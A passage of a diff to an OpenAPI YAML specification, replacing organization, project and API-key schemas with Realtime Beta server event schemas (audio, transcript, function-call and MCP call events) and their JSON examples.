+ description: "Returned in `server_vad` mode when the server detects the end of speech in \nthe audio buffer. The server will also send an `conversation.item.created` \nevent with the user message item that is created from the audio buffer.\n"
+ properties:
+ event_id:
type: string
- description: The object type, which is always `file`.
- enum:
- - file
+ description: The unique ID of the server event.
+ type:
x-stainless-const: true
- purpose:
+ description: The event type, must be `input_audio_buffer.speech_stopped`.
+ const: input_audio_buffer.speech_stopped
+ audio_end_ms:
+ type: integer
+ description: "Milliseconds since the session started when speech stopped. This will \ncorrespond to the end of audio sent to the model, and thus includes the \n`min_silence_duration_ms` configured in the Session.\n"
+ item_id:
type: string
- description: The intended purpose of the file. Supported values are `assistants`, `assistants_output`, `batch`, `batch_output`, `fine-tune`, `fine-tune-results`, `vision`, and `user_data`.
- enum:
- - assistants
- - assistants_output
- - batch
- - batch_output
- - fine-tune
- - fine-tune-results
- - vision
- - user_data
- status:
+ description: The ID of the user message item that will be created.
+ required:
+ - event_id
+ - type
+ - audio_end_ms
+ - item_id
+ x-oaiMeta:
+ name: input_audio_buffer.speech_stopped
+ group: realtime
+ example: |
+ {
+ "event_id": "event_1718",
+ "type": "input_audio_buffer.speech_stopped",
+ "audio_end_ms": 2000,
+ "item_id": "msg_003"
+ }
+ RealtimeBetaServerEventMCPListToolsCompleted:
+ type: object
+ description: Returned when listing MCP tools has completed for an item.
+ properties:
+ event_id:
type: string
- deprecated: true
- description: Deprecated. The current status of the file, which can be either `uploaded`, `processed`, or `error`.
- enum:
- - uploaded
- - processed
- - error
- status_details:
+ description: The unique ID of the server event.
+ type:
+ x-stainless-const: true
+ description: The event type, must be `mcp_list_tools.completed`.
+ const: mcp_list_tools.completed
+ item_id:
type: string
- deprecated: true
- description: Deprecated. For details on why a fine-tuning training file failed validation, see the `error` field on `fine_tuning.job`.
+ description: The ID of the MCP list tools item.
required:
- - id
- - object
- - bytes
- - created_at
- - filename
- - purpose
- - status
+ - event_id
+ - type
+ - item_id
+ x-oaiMeta:
+ name: mcp_list_tools.completed
+ group: realtime
+ example: |
+ {
+ "event_id": "event_6102",
+ "type": "mcp_list_tools.completed",
+ "item_id": "mcp_list_tools_001"
+ }
+ RealtimeBetaServerEventMCPListToolsFailed:
+ type: object
+ description: Returned when listing MCP tools has failed for an item.
+ properties:
+ event_id:
+ type: string
+ description: The unique ID of the server event.
+ type:
+ x-stainless-const: true
+ description: The event type, must be `mcp_list_tools.failed`.
+ const: mcp_list_tools.failed
+ item_id:
+ type: string
+ description: The ID of the MCP list tools item.
+ required:
+ - event_id
+ - type
+ - item_id
x-oaiMeta:
- name: The file object
+ name: mcp_list_tools.failed
+ group: realtime
example: |
{
- "id": "file-abc123",
- "object": "file",
- "bytes": 120000,
- "created_at": 1677610602,
- "expires_at": 1680202602,
- "filename": "salesOverview.pdf",
- "purpose": "assistants",
+ "event_id": "event_6103",
+ "type": "mcp_list_tools.failed",
+ "item_id": "mcp_list_tools_001"
}
- OrganizationCertificate:
+ RealtimeBetaServerEventMCPListToolsInProgress:
type: object
- description: Represents an individual certificate configured at the organization level.
+ description: Returned when listing MCP tools is in progress for an item.
properties:
- object:
+ event_id:
type: string
- enum:
- - organization.certificate
- description: The object type, which is always `organization.certificate`.
+ description: The unique ID of the server event.
+ type:
x-stainless-const: true
- id:
+ description: The event type, must be `mcp_list_tools.in_progress`.
+ const: mcp_list_tools.in_progress
+ item_id:
type: string
- description: The identifier, which can be referenced in API endpoints
- name:
- anyOf:
- - type: string
- - type: 'null'
- description: The name of the certificate.
- created_at:
- type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) of when the certificate was uploaded.
- certificate_details:
- type: object
- properties:
- valid_at:
- type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) of when the certificate becomes valid.
- expires_at:
- type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) of when the certificate expires.
- active:
- type: boolean
- description: Whether the certificate is currently active at the organization level.
+ description: The ID of the MCP list tools item.
required:
- - object
- - id
- - name
- - created_at
- - certificate_details
- - active
- OrganizationCertificateActivationResponse:
+ - event_id
+ - type
+ - item_id
+ x-oaiMeta:
+ name: mcp_list_tools.in_progress
+ group: realtime
+ example: |
+ {
+ "event_id": "event_6101",
+ "type": "mcp_list_tools.in_progress",
+ "item_id": "mcp_list_tools_001"
+ }
+ RealtimeBetaServerEventRateLimitsUpdated:
type: object
+ description: "Emitted at the beginning of a Response to indicate the updated rate limits. \nWhen a Response is created some tokens will be \"reserved\" for the output \ntokens, the rate limits shown here reflect that reservation, which is then \nadjusted accordingly once the Response is completed.\n"
properties:
- object:
+ event_id:
type: string
- enum:
- - organization.certificate.activation
- description: The organization certificate activation result type.
+ description: The unique ID of the server event.
+ type:
x-stainless-const: true
- data:
+ description: The event type, must be `rate_limits.updated`.
+ const: rate_limits.updated
+ rate_limits:
type: array
+ description: List of rate limit information.
items:
- $ref: '#/components/schemas/OrganizationCertificate'
+ type: object
+ properties:
+ name:
+ type: string
+ enum:
+ - requests
+ - tokens
+ description: |
+ The name of the rate limit (`requests`, `tokens`).
+ limit:
+ type: integer
+ description: The maximum allowed value for the rate limit.
+ remaining:
+ type: integer
+ description: The remaining value before the limit is reached.
+ reset_seconds:
+ type: number
+ description: Seconds until the rate limit resets.
required:
- - object
- - data
- OrganizationCertificateDeactivationResponse:
+ - event_id
+ - type
+ - rate_limits
+ x-oaiMeta:
+ name: rate_limits.updated
+ group: realtime
+ example: |
+ {
+ "event_id": "event_5758",
+ "type": "rate_limits.updated",
+ "rate_limits": [
+ {
+ "name": "requests",
+ "limit": 1000,
+ "remaining": 999,
+ "reset_seconds": 60
+ },
+ {
+ "name": "tokens",
+ "limit": 50000,
+ "remaining": 49950,
+ "reset_seconds": 60
+ }
+ ]
+ }
+ RealtimeBetaServerEventResponseAudioDelta:
type: object
+ description: Returned when the model-generated audio is updated.
properties:
- object:
+ event_id:
type: string
- enum:
- - organization.certificate.deactivation
- description: The organization certificate deactivation result type.
+ description: The unique ID of the server event.
+ type:
x-stainless-const: true
- data:
- type: array
- items:
- $ref: '#/components/schemas/OrganizationCertificate'
+ description: The event type, must be `response.output_audio.delta`.
+ const: response.output_audio.delta
+ response_id:
+ type: string
+ description: The ID of the response.
+ item_id:
+ type: string
+ description: The ID of the item.
+ output_index:
+ type: integer
+ description: The index of the output item in the response.
+ content_index:
+ type: integer
+ description: The index of the content part in the item's content array.
+ delta:
+ type: string
+ description: Base64-encoded audio data delta.
required:
- - object
- - data
- OrganizationDataRetention:
+ - event_id
+ - type
+ - response_id
+ - item_id
+ - output_index
+ - content_index
+ - delta
+ x-oaiMeta:
+ name: response.output_audio.delta
+ group: realtime
+ example: |
+ {
+ "event_id": "event_4950",
+ "type": "response.output_audio.delta",
+ "response_id": "resp_001",
+ "item_id": "msg_008",
+ "output_index": 0,
+ "content_index": 0,
+ "delta": "Base64EncodedAudioDelta"
+ }
+ RealtimeBetaServerEventResponseAudioDone:
type: object
- description: Represents the organization's data retention control setting.
+ description: |
+ Returned when the model-generated audio is done. Also emitted when a Response
+ is interrupted, incomplete, or cancelled.
properties:
- object:
+ event_id:
type: string
- enum:
- - organization.data_retention
- description: The object type, which is always `organization.data_retention`.
- x-stainless-const: true
+ description: The unique ID of the server event.
type:
+ x-stainless-const: true
+ description: The event type, must be `response.output_audio.done`.
+ const: response.output_audio.done
+ response_id:
type: string
- enum:
- - zero_data_retention
- - modified_abuse_monitoring
- - enhanced_zero_data_retention
- - enhanced_modified_abuse_monitoring
- description: The configured organization data retention type.
+ description: The ID of the response.
+ item_id:
+ type: string
+ description: The ID of the item.
+ output_index:
+ type: integer
+ description: The index of the output item in the response.
+ content_index:
+ type: integer
+ description: The index of the content part in the item's content array.
required:
- - object
+ - event_id
- type
+ - response_id
+ - item_id
+ - output_index
+ - content_index
x-oaiMeta:
- name: The organization data retention object
+ name: response.output_audio.done
+ group: realtime
example: |
{
- "object": "organization.data_retention",
- "type": "modified_abuse_monitoring"
+ "event_id": "event_5152",
+ "type": "response.output_audio.done",
+ "response_id": "resp_001",
+ "item_id": "msg_008",
+ "output_index": 0,
+ "content_index": 0
}
- OrganizationProjectCertificate:
+ RealtimeBetaServerEventResponseAudioTranscriptDelta:
type: object
- description: Represents an individual certificate configured at the project level.
+ description: |
+ Returned when the model-generated transcription of audio output is updated.
properties:
- object:
+ event_id:
type: string
- enum:
- - organization.project.certificate
- description: The object type, which is always `organization.project.certificate`.
+ description: The unique ID of the server event.
+ type:
x-stainless-const: true
- id:
+ description: The event type, must be `response.output_audio_transcript.delta`.
+ const: response.output_audio_transcript.delta
+ response_id:
type: string
- description: The identifier, which can be referenced in API endpoints
- name:
- anyOf:
- - type: string
- - type: 'null'
- description: The name of the certificate.
- created_at:
+ description: The ID of the response.
+ item_id:
+ type: string
+ description: The ID of the item.
+ output_index:
type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) of when the certificate was uploaded.
- certificate_details:
- type: object
- properties:
- valid_at:
- type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) of when the certificate becomes valid.
- expires_at:
- type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) of when the certificate expires.
- active:
- type: boolean
- description: Whether the certificate is currently active at the project level.
+ description: The index of the output item in the response.
+ content_index:
+ type: integer
+ description: The index of the content part in the item's content array.
+ delta:
+ type: string
+ description: The transcript delta.
required:
- - object
- - id
- - name
- - created_at
- - certificate_details
- - active
- OrganizationProjectCertificateActivationResponse:
+ - event_id
+ - type
+ - response_id
+ - item_id
+ - output_index
+ - content_index
+ - delta
+ x-oaiMeta:
+ name: response.output_audio_transcript.delta
+ group: realtime
+ example: |
+ {
+ "event_id": "event_4546",
+ "type": "response.output_audio_transcript.delta",
+ "response_id": "resp_001",
+ "item_id": "msg_008",
+ "output_index": 0,
+ "content_index": 0,
+ "delta": "Hello, how can I a"
+ }
+ RealtimeBetaServerEventResponseAudioTranscriptDone:
type: object
+ description: |
+ Returned when the model-generated transcription of audio output is done
+ streaming. Also emitted when a Response is interrupted, incomplete, or
+ cancelled.
properties:
- object:
+ event_id:
type: string
- enum:
- - organization.project.certificate.activation
- description: The project certificate activation result type.
+ description: The unique ID of the server event.
+ type:
x-stainless-const: true
- data:
- type: array
- items:
- $ref: '#/components/schemas/OrganizationProjectCertificate'
+ description: The event type, must be `response.output_audio_transcript.done`.
+ const: response.output_audio_transcript.done
+ response_id:
+ type: string
+ description: The ID of the response.
+ item_id:
+ type: string
+ description: The ID of the item.
+ output_index:
+ type: integer
+ description: The index of the output item in the response.
+ content_index:
+ type: integer
+ description: The index of the content part in the item's content array.
+ transcript:
+ type: string
+ description: The final transcript of the audio.
required:
- - object
- - data
- OrganizationProjectCertificateDeactivationResponse:
+ - event_id
+ - type
+ - response_id
+ - item_id
+ - output_index
+ - content_index
+ - transcript
+ x-oaiMeta:
+ name: response.output_audio_transcript.done
+ group: realtime
+ example: |
+ {
+ "event_id": "event_4748",
+ "type": "response.output_audio_transcript.done",
+ "response_id": "resp_001",
+ "item_id": "msg_008",
+ "output_index": 0,
+ "content_index": 0,
+ "transcript": "Hello, how can I assist you today?"
+ }
+ RealtimeBetaServerEventResponseContentPartAdded:
type: object
+ description: |
+ Returned when a new content part is added to an assistant message item during
+ response generation.
properties:
- object:
+ event_id:
type: string
- enum:
- - organization.project.certificate.deactivation
- description: The project certificate deactivation result type.
+ description: The unique ID of the server event.
+ type:
x-stainless-const: true
- data:
- type: array
- items:
- $ref: '#/components/schemas/OrganizationProjectCertificate'
+ description: The event type, must be `response.content_part.added`.
+ const: response.content_part.added
+ response_id:
+ type: string
+ description: The ID of the response.
+ item_id:
+ type: string
+ description: The ID of the item to which the content part was added.
+ output_index:
+ type: integer
+ description: The index of the output item in the response.
+ content_index:
+ type: integer
+ description: The index of the content part in the item's content array.
+ part:
+ type: object
+ description: The content part that was added.
+ properties:
+ type:
+ type: string
+ enum:
+ - text
+ - audio
+ description: The content type ("text", "audio").
+ text:
+ type: string
+ description: The text content (if type is "text").
+ audio:
+ type: string
+ description: Base64-encoded audio data (if type is "audio").
+ transcript:
+ type: string
+ description: The transcript of the audio (if type is "audio").
required:
- - object
- - data
- OrganizationSpendAlert:
+ - event_id
+ - type
+ - response_id
+ - item_id
+ - output_index
+ - content_index
+ - part
+ x-oaiMeta:
+ name: response.content_part.added
+ group: realtime
+ example: |
+ {
+ "event_id": "event_3738",
+ "type": "response.content_part.added",
+ "response_id": "resp_001",
+ "item_id": "msg_007",
+ "output_index": 0,
+ "content_index": 0,
+ "part": {
+ "type": "text",
+ "text": ""
+ }
+ }
+ RealtimeBetaServerEventResponseContentPartDone:
type: object
- description: Represents a spend alert configured at the organization level.
+ description: |
+ Returned when a content part is done streaming in an assistant message item.
+ Also emitted when a Response is interrupted, incomplete, or cancelled.
properties:
- id:
- type: string
- description: The identifier, which can be referenced in API endpoints.
- object:
+ event_id:
type: string
- enum:
- - organization.spend_alert
- description: The object type, which is always `organization.spend_alert`.
+ description: The unique ID of the server event.
+ type:
x-stainless-const: true
- threshold_amount:
- type: integer
- description: The alert threshold amount, in cents.
- currency:
+ description: The event type, must be `response.content_part.done`.
+ const: response.content_part.done
+ response_id:
type: string
- enum:
- - USD
- description: The currency for the threshold amount.
- interval:
+ description: The ID of the response.
+ item_id:
type: string
- enum:
- - month
- description: The time interval for evaluating spend against the threshold.
- notification_channel:
- $ref: '#/components/schemas/SpendAlertNotificationChannel'
- required:
- - id
- - object
- - threshold_amount
- - currency
- - interval
- - notification_channel
+ description: The ID of the item.
+ output_index:
+ type: integer
+ description: The index of the output item in the response.
+ content_index:
+ type: integer
+ description: The index of the content part in the item's content array.
+ part:
+ type: object
+ description: The content part that is done.
+ properties:
+ type:
+ type: string
+ enum:
+ - text
+ - audio
+ description: The content type ("text", "audio").
+ text:
+ type: string
+ description: The text content (if type is "text").
+ audio:
+ type: string
+ description: Base64-encoded audio data (if type is "audio").
+ transcript:
+ type: string
+ description: The transcript of the audio (if type is "audio").
+ required:
+ - event_id
+ - type
+ - response_id
+ - item_id
+ - output_index
+ - content_index
+ - part
x-oaiMeta:
- name: The organization spend alert object
+ name: response.content_part.done
+ group: realtime
example: |
{
- "id": "alert_abc123",
- "object": "organization.spend_alert",
- "threshold_amount": 100000,
- "currency": "USD",
- "interval": "month",
- "notification_channel": {
- "type": "email",
- "recipients": ["finance@example.com"],
- "subject_prefix": "OpenAI spend alert"
+ "event_id": "event_3940",
+ "type": "response.content_part.done",
+ "response_id": "resp_001",
+ "item_id": "msg_007",
+ "output_index": 0,
+ "content_index": 0,
+ "part": {
+ "type": "text",
+ "text": "Sure, I can help with that."
}
}
- OrganizationSpendAlertDeletedResource:
+ RealtimeBetaServerEventResponseCreated:
type: object
- description: Confirmation payload returned after deleting an organization spend alert.
+ description: |
+ Returned when a new Response is created. The first event of response creation,
+ where the response is in an initial state of `in_progress`.
properties:
- id:
- type: string
- description: The deleted spend alert ID.
- object:
+ event_id:
type: string
- enum:
- - organization.spend_alert.deleted
- description: Always `organization.spend_alert.deleted`.
+ description: The unique ID of the server event.
+ type:
x-stainless-const: true
- deleted:
- type: boolean
- description: Whether the spend alert was deleted.
+ description: The event type, must be `response.created`.
+ const: response.created
+ response:
+ $ref: '#/components/schemas/RealtimeBetaResponse'
required:
- - id
- - object
- - deleted
- OrganizationSpendAlertListResource:
+ - event_id
+ - type
+ - response
+ x-oaiMeta:
+ name: response.created
+ group: realtime
+ example: |
+ {
+ "type": "response.created",
+ "event_id": "event_C9G8pqbTEddBSIxbBN6Os",
+ "response": {
+ "object": "realtime.response",
+ "id": "resp_C9G8p7IH2WxLbkgPNouYL",
+ "status": "in_progress",
+ "status_details": null,
+ "output": [],
+ "conversation_id": "conv_C9G8mmBkLhQJwCon3hoJN",
+ "output_modalities": [
+ "audio"
+ ],
+ "max_output_tokens": "inf",
+ "audio": {
+ "output": {
+ "format": {
+ "type": "audio/pcm",
+ "rate": 24000
+ },
+ "voice": "marin"
+ }
+ },
+ "usage": null,
+ "metadata": null
+ },
+ "timestamp": "2:30:35 PM"
+ }
+ RealtimeBetaServerEventResponseDone:
type: object
- description: Paginated list of organization spend alerts.
+ description: "Returned when a Response is done streaming. Always emitted, no matter the \nfinal state. The Response object included in the `response.done` event will \ninclude all output Items in the Response but will omit the raw audio data.\n"
properties:
- object:
+ event_id:
type: string
- enum:
- - list
- description: Always `list`.
- x-stainless-const: true
- data:
- type: array
- description: Spend alerts returned in the current page.
- items:
- $ref: '#/components/schemas/OrganizationSpendAlert'
- first_id:
- anyOf:
- - type: string
- - type: 'null'
- description: The ID of the first spend alert in this page.
- last_id:
- anyOf:
- - type: string
- - type: 'null'
- description: The ID of the last spend alert in this page.
- has_more:
- type: boolean
- description: Whether more spend alerts are available when paginating.
- required:
- - object
- - data
- - first_id
- - last_id
- - has_more
- OtherChunkingStrategyResponseParam:
- type: object
- title: Other Chunking Strategy
- description: This is returned when the chunking strategy is unknown. Typically, this is because the file was indexed before the `chunking_strategy` concept was introduced in the API.
- additionalProperties: false
- properties:
+ description: The unique ID of the server event.
type:
- type: string
- description: Always `other`.
- enum:
- - other
x-stainless-const: true
+ description: The event type, must be `response.done`.
+ const: response.done
+ response:
+ $ref: '#/components/schemas/RealtimeBetaResponse'
required:
+ - event_id
- type
- OutputAudio:
+ - response
+ x-oaiMeta:
+ name: response.done
+ group: realtime
+ example: |
+ {
+ "event_id": "event_3132",
+ "type": "response.done",
+ "response": {
+ "id": "resp_001",
+ "object": "realtime.response",
+ "status": "completed",
+ "status_details": null,
+ "output": [
+ {
+ "id": "msg_006",
+ "object": "realtime.item",
+ "type": "message",
+ "status": "completed",
+ "role": "assistant",
+ "content": [
+ {
+ "type": "text",
+ "text": "Sure, how can I assist you today?"
+ }
+ ]
+ }
+ ],
+ "usage": {
+ "total_tokens":275,
+ "input_tokens":127,
+ "output_tokens":148,
+ "input_token_details": {
+ "cached_tokens":384,
+ "text_tokens":119,
+ "audio_tokens":8,
+ "cached_tokens_details": {
+ "text_tokens": 128,
+ "audio_tokens": 256
+ }
+ },
+ "output_token_details": {
+ "text_tokens":36,
+ "audio_tokens":112
+ }
+ }
+ }
+ }
+ RealtimeBetaServerEventResponseFunctionCallArgumentsDelta:
type: object
- title: Output audio
description: |
- An audio output from the model.
+ Returned when the model-generated function call arguments are updated.
properties:
- type:
+ event_id:
type: string
- description: |
- The type of the output audio. Always `output_audio`.
- enum:
- - output_audio
+ description: The unique ID of the server event.
+ type:
x-stainless-const: true
- data:
- type: string
description: |
- Base64-encoded audio data from the model.
- transcript:
+ The event type, must be `response.function_call_arguments.delta`.
+ const: response.function_call_arguments.delta
+ response_id:
type: string
- description: |
- The transcript of the audio data from the model.
+ description: The ID of the response.
+ item_id:
+ type: string
+ description: The ID of the function call item.
+ output_index:
+ type: integer
+ description: The index of the output item in the response.
+ call_id:
+ type: string
+ description: The ID of the function call.
+ delta:
+ type: string
+ description: The arguments delta as a JSON string.
required:
+ - event_id
- type
- - data
- - transcript
- OutputContent:
- discriminator:
- propertyName: type
- anyOf:
- - $ref: '#/components/schemas/OutputTextContent'
- - $ref: '#/components/schemas/RefusalContent'
- - $ref: '#/components/schemas/ReasoningTextContent'
- OutputItem:
- discriminator:
- propertyName: type
- anyOf:
- - $ref: '#/components/schemas/OutputMessage'
- - $ref: '#/components/schemas/FileSearchToolCall'
- - $ref: '#/components/schemas/FunctionToolCall'
- - $ref: '#/components/schemas/FunctionToolCallOutputResource'
- - $ref: '#/components/schemas/WebSearchToolCall'
- - $ref: '#/components/schemas/ComputerToolCall'
- - $ref: '#/components/schemas/ComputerToolCallOutputResource'
- - $ref: '#/components/schemas/ReasoningItem'
- - $ref: '#/components/schemas/Program'
- - $ref: '#/components/schemas/ProgramOutput'
- - $ref: '#/components/schemas/ToolSearchCall'
- - $ref: '#/components/schemas/ToolSearchOutput'
- - $ref: '#/components/schemas/AdditionalTools'
- - $ref: '#/components/schemas/CompactionBody'
- - $ref: '#/components/schemas/ImageGenToolCall'
- - $ref: '#/components/schemas/CodeInterpreterToolCall'
- - $ref: '#/components/schemas/LocalShellToolCall'
- - $ref: '#/components/schemas/LocalShellToolCallOutput'
- - $ref: '#/components/schemas/FunctionShellCall'
- - $ref: '#/components/schemas/FunctionShellCallOutput'
- - $ref: '#/components/schemas/ApplyPatchToolCall'
- - $ref: '#/components/schemas/ApplyPatchToolCallOutput'
- - $ref: '#/components/schemas/MCPToolCall'
- - $ref: '#/components/schemas/MCPListTools'
- - $ref: '#/components/schemas/MCPApprovalRequest'
- - $ref: '#/components/schemas/MCPApprovalResponseResource'
- - $ref: '#/components/schemas/CustomToolCall'
- - $ref: '#/components/schemas/CustomToolCallOutputResource'
- OutputMessage:
+ - response_id
+ - item_id
+ - output_index
+ - call_id
+ - delta
+ x-oaiMeta:
+ name: response.function_call_arguments.delta
+ group: realtime
+ example: |
+ {
+ "event_id": "event_5354",
+ "type": "response.function_call_arguments.delta",
+ "response_id": "resp_002",
+ "item_id": "fc_001",
+ "output_index": 0,
+ "call_id": "call_001",
+ "delta": "{\"location\": \"San\""
+ }
+ RealtimeBetaServerEventResponseFunctionCallArgumentsDone:
type: object
- title: Output message
description: |
- An output message from the model.
+ Returned when the model-generated function call arguments are done streaming.
+ Also emitted when a Response is interrupted, incomplete, or cancelled.
properties:
- id:
+ event_id:
type: string
- description: |
- The unique ID of the output message.
- x-stainless-go-json: omitzero
+ description: The unique ID of the server event.
type:
- type: string
- description: |
- The type of the output message. Always `message`.
- enum:
- - message
x-stainless-const: true
- role:
- type: string
- description: |
- The role of the output message. Always `assistant`.
- enum:
- - assistant
- x-stainless-const: true
- content:
- type: array
description: |
- The content of the output message.
- items:
- $ref: '#/components/schemas/OutputMessageContent'
- phase:
- anyOf:
- - $ref: '#/components/schemas/MessagePhase'
- - type: 'null'
- status:
+ The event type, must be `response.function_call_arguments.done`.
+ const: response.function_call_arguments.done
+ response_id:
type: string
- description: |
- The status of the message input. One of `in_progress`, `completed`, or
- `incomplete`. Populated when input items are returned via API.
- enum:
- - in_progress
- - completed
- - incomplete
+ description: The ID of the response.
+ item_id:
+ type: string
+ description: The ID of the function call item.
+ output_index:
+ type: integer
+ description: The index of the output item in the response.
+ call_id:
+ type: string
+ description: The ID of the function call.
+ name:
+ type: string
+ description: The name of the function that was called.
+ arguments:
+ type: string
+ description: The final arguments as a JSON string.
required:
- - id
+ - event_id
- type
- - role
- - content
- - status
- OutputMessageContent:
- discriminator:
- propertyName: type
- anyOf:
- - $ref: '#/components/schemas/OutputTextContent'
- - $ref: '#/components/schemas/RefusalContent'
- ParallelToolCalls:
- description: Whether to enable [parallel function calling](https://developers.openai.com/api/docs/guides/function-calling#parallel-function-calling) during tool use.
- type: boolean
- default: true
- PartialImages:
- anyOf:
- - type: integer
- maximum: 3
- minimum: 0
- default: 0
- example: 1
- description: |
- The number of partial images to generate. This parameter is used for
- streaming responses that return partial images. Value must be between 0 and 3.
- When set to 0, the response will be a single image sent in one streaming event.
-
- Note that the final image may be sent before the full number of partial images
- are generated if the full image is generated more quickly.
- - type: 'null'
- PredictionContent:
+ - response_id
+ - item_id
+ - output_index
+ - call_id
+ - name
+ - arguments
+ x-oaiMeta:
+ name: response.function_call_arguments.done
+ group: realtime
+ example: |
+ {
+ "event_id": "event_5556",
+ "type": "response.function_call_arguments.done",
+ "response_id": "resp_002",
+ "item_id": "fc_001",
+ "output_index": 0,
+ "call_id": "call_001",
+ "name": "get_weather",
+ "arguments": "{\"location\": \"San Francisco\"}"
+ }
+ RealtimeBetaServerEventResponseMCPCallArgumentsDelta:
type: object
- title: Static Content
- description: |
- Static predicted output content, such as the content of a text file that is
- being regenerated.
- required:
- - type
- - content
+ description: Returned when MCP tool call arguments are updated during response generation.
properties:
- type:
+ event_id:
type: string
- enum:
- - content
- description: |
- The type of the predicted content you want to provide. This type is
- currently always `content`.
+ description: The unique ID of the server event.
+ type:
x-stainless-const: true
- content:
- description: |
- The content that should be matched when generating a model response.
- If generated tokens would match this content, the entire model response
- can be returned much more quickly.
- anyOf:
- - type: string
- title: Text content
- description: |
- The content used for a Predicted Output. This is often the
- text of a file you are regenerating with minor changes.
- - type: array
- description: An array of content parts with a defined type. Supported options differ based on the [model](https://developers.openai.com/api/docs/models) being used to generate the response. Can contain text inputs.
- title: Array of content parts
- items:
- $ref: '#/components/schemas/ChatCompletionRequestMessageContentPartText'
- minItems: 1
- Project:
- type: object
- description: Represents an individual project.
- properties:
- id:
+ description: The event type, must be `response.mcp_call_arguments.delta`.
+ const: response.mcp_call_arguments.delta
+ response_id:
type: string
- description: The identifier, which can be referenced in API endpoints
- object:
+ description: The ID of the response.
+ item_id:
type: string
- enum:
- - organization.project
- description: The object type, which is always `organization.project`
- x-stainless-const: true
- name:
- anyOf:
- - type: string
- - type: 'null'
- description: The name of the project. This appears in reporting.
- created_at:
+ description: The ID of the MCP tool call item.
+ output_index:
type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) of when the project was created.
- archived_at:
- anyOf:
- - type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) of when the project was archived or `null`.
- - type: 'null'
- status:
- anyOf:
- - type: string
- - type: 'null'
- description: '`active` or `archived`'
- external_key_id:
+ description: The index of the output item in the response.
+ delta:
+ type: string
+ description: The JSON-encoded arguments delta.
+ obfuscation:
anyOf:
- type: string
+ description: If present, indicates the delta text was obfuscated.
- type: 'null'
- description: The external key associated with the project.
- residency:
- $ref: '#/components/schemas/PublicProjectResidency'
- description: The residency configuration for the project.
required:
- - id
- - object
- - created_at
+ - event_id
+ - type
+ - response_id
+ - item_id
+ - output_index
+ - delta
x-oaiMeta:
- name: The project object
+ name: response.mcp_call_arguments.delta
+ group: realtime
example: |
{
- "id": "proj_abc",
- "object": "organization.project",
- "name": "Project example",
- "created_at": 1711471533,
- "archived_at": null,
- "status": "active",
- "external_key_id": null
+ "event_id": "event_6201",
+ "type": "response.mcp_call_arguments.delta",
+ "response_id": "resp_001",
+ "item_id": "mcp_call_001",
+ "output_index": 0,
+ "delta": "{\"partial\":true}"
}
- ProjectApiKey:
+ RealtimeBetaServerEventResponseMCPCallArgumentsDone:
type: object
- description: Represents an individual API key in a project.
+ description: Returned when MCP tool call arguments are finalized during response generation.
properties:
- object:
+ event_id:
type: string
- enum:
- - organization.project.api_key
- description: The object type, which is always `organization.project.api_key`
+ description: The unique ID of the server event.
+ type:
x-stainless-const: true
- redacted_value:
+ description: The event type, must be `response.mcp_call_arguments.done`.
+ const: response.mcp_call_arguments.done
+ response_id:
type: string
- description: The redacted value of the API key
- name:
+ description: The ID of the response.
+ item_id:
type: string
- description: The name of the API key
- created_at:
+ description: The ID of the MCP tool call item.
+ output_index:
type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) of when the API key was created
- expires_at:
- anyOf:
- - type: integer
- format: unixtime
- - type: 'null'
- description: The Unix timestamp (in seconds) when the API key expires, or null if it does not expire.
- last_used_at:
- anyOf:
- - type: integer
- format: unixtime
- - type: 'null'
- description: The Unix timestamp (in seconds) of when the API key was last used.
- id:
- type: string
- description: The identifier, which can be referenced in API endpoints
- owner_project_access:
+ description: The index of the output item in the response.
+ arguments:
type: string
- enum:
- - active
- - inactive
- description: Whether the API key's owner currently has effective access to the project.
- owner:
- type: object
- properties:
- type:
- type: string
- enum:
- - user
- - service_account
- description: '`user` or `service_account`'
- user:
- $ref: '#/components/schemas/ProjectApiKeyOwnerUser'
- service_account:
- $ref: '#/components/schemas/ProjectApiKeyOwnerServiceAccount'
+ description: The final JSON-encoded arguments string.
required:
- - object
- - redacted_value
- - name
- - created_at
- - last_used_at
- - id
- - owner_project_access
- - owner
+ - event_id
+ - type
+ - response_id
+ - item_id
+ - output_index
+ - arguments
x-oaiMeta:
- name: The project API key object
+ name: response.mcp_call_arguments.done
+ group: realtime
example: |
{
- "object": "organization.project.api_key",
- "redacted_value": "sk-abc...def",
- "name": "My API Key",
- "created_at": 1711471533,
- "expires_at": 1714063533,
- "last_used_at": 1711471534,
- "id": "key_abc",
- "owner_project_access": "active",
- "owner": {
- "type": "user",
- "user": {
- "id": "user_abc",
- "name": "First Last",
- "email": "user@example.com",
- "role": "owner",
- "created_at": 1711471533
- }
- }
+ "event_id": "event_6202",
+ "type": "response.mcp_call_arguments.done",
+ "response_id": "resp_001",
+ "item_id": "mcp_call_001",
+ "output_index": 0,
+ "arguments": "{\"q\":\"docs\"}"
}
- ProjectApiKeyDeleteResponse:
+ RealtimeBetaServerEventResponseMCPCallCompleted:
type: object
+ description: Returned when an MCP tool call has completed successfully.
properties:
- object:
+ event_id:
type: string
- enum:
- - organization.project.api_key.deleted
+ description: The unique ID of the server event.
+ type:
x-stainless-const: true
- id:
+ description: The event type, must be `response.mcp_call.completed`.
+ const: response.mcp_call.completed
+ output_index:
+ type: integer
+ description: The index of the output item in the response.
+ item_id:
type: string
- deleted:
- type: boolean
+ description: The ID of the MCP tool call item.
required:
- - object
- - id
- - deleted
- ProjectApiKeyListResponse:
+ - event_id
+ - type
+ - output_index
+ - item_id
+ x-oaiMeta:
+ name: response.mcp_call.completed
+ group: realtime
+ example: |
+ {
+ "event_id": "event_6302",
+ "type": "response.mcp_call.completed",
+ "output_index": 0,
+ "item_id": "mcp_call_001"
+ }
+ RealtimeBetaServerEventResponseMCPCallFailed:
type: object
+ description: Returned when an MCP tool call has failed.
properties:
- object:
+ event_id:
type: string
- enum:
- - list
+ description: The unique ID of the server event.
+ type:
x-stainless-const: true
- data:
- type: array
- items:
- $ref: '#/components/schemas/ProjectApiKey'
- first_id:
- anyOf:
- - type: string
- - type: 'null'
- last_id:
- anyOf:
- - type: string
- - type: 'null'
- has_more:
- type: boolean
+ description: The event type, must be `response.mcp_call.failed`.
+ const: response.mcp_call.failed
+ output_index:
